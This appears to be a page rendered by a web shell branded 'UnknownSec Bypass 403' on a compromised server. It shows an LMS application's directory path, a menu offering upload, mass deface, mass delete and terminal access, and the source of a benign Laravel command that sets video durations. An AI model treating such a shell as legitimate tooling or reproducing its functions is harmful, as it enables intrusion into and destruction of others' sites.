UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_bf4bbf91d0ed
/
app
/
Console
/
Commands
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
SetVideoDuration.php
<?php namespace EstudioLMS\Console\Commands; use EstudioLMS\Repositories\Courses\Resources\VideoLessonInterface; use EstudioLMS\Repositories\Courses\Resources\VideoUploadLessonInterface; use Illuminate\Console\Command; use EstudioLMS\Helpers\Helpers as MyHelper; use Storage; use File; /** * Class SetVideoDuration * @package EstudioLMS\Console\Commands */ class SetVideoDuration extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'video:duration'; /** * The console command description. * * @var string */ protected $description = 'Adiciona a duração dos vídeos'; /** * @var VideoLessonInterface */ private $videoLesson; /** * @var VideoUploadLessonInterface */ private $videoUploadLesson; /** * Create a new command instance. * * @param VideoLessonInterface $videoLesson * @param VideoUploadLessonInterface $videoUploadLesson */ public function __construct( VideoLessonInterface $videoLesson, VideoUploadLessonInterface $videoUploadLesson ) { parent::__construct(); $this->videoLesson = $videoLesson; $this->videoUploadLesson = $videoUploadLesson; } /** * Execute the console command. * * @return mixed */ public function handle() { //Primeiro lições online $lessons = $this->videoLesson ->findWhere( [ ['duration', '<=', 0] ] ); foreach ($lessons as $lesson) { $videoInfo = MyHelper::videoInfo($lesson['url']); if (!empty($videoInfo) && !is_null($videoInfo) && isset($videoInfo['duration'])) { $this->videoLesson->update(['duration' => $videoInfo['duration']], $lesson->id); } } //Vídeo Local $lessons = $this->videoUploadLesson ->findWhere( [ ['duration', '<=', 0] ] ); foreach ($lessons as $lesson) { $fullVideoPath = Storage::disk('lesson_file')->getDriver()->getAdapter() ->applyPathPrefix($lesson['resource_type_id'] . '/' . $lesson['id'] . '/' . $lesson->uploaded_video); $videoDuration = 0; if (File::exists($fullVideoPath)) { $this->info('achei -> ' . $fullVideoPath); $videoDuration = MyHelper::getLocalVideoDuration($fullVideoPath); } $this->videoUploadLesson->update(['duration' => $videoDuration], $lesson->id); } } }
Copyright © 2026 - UnknownSec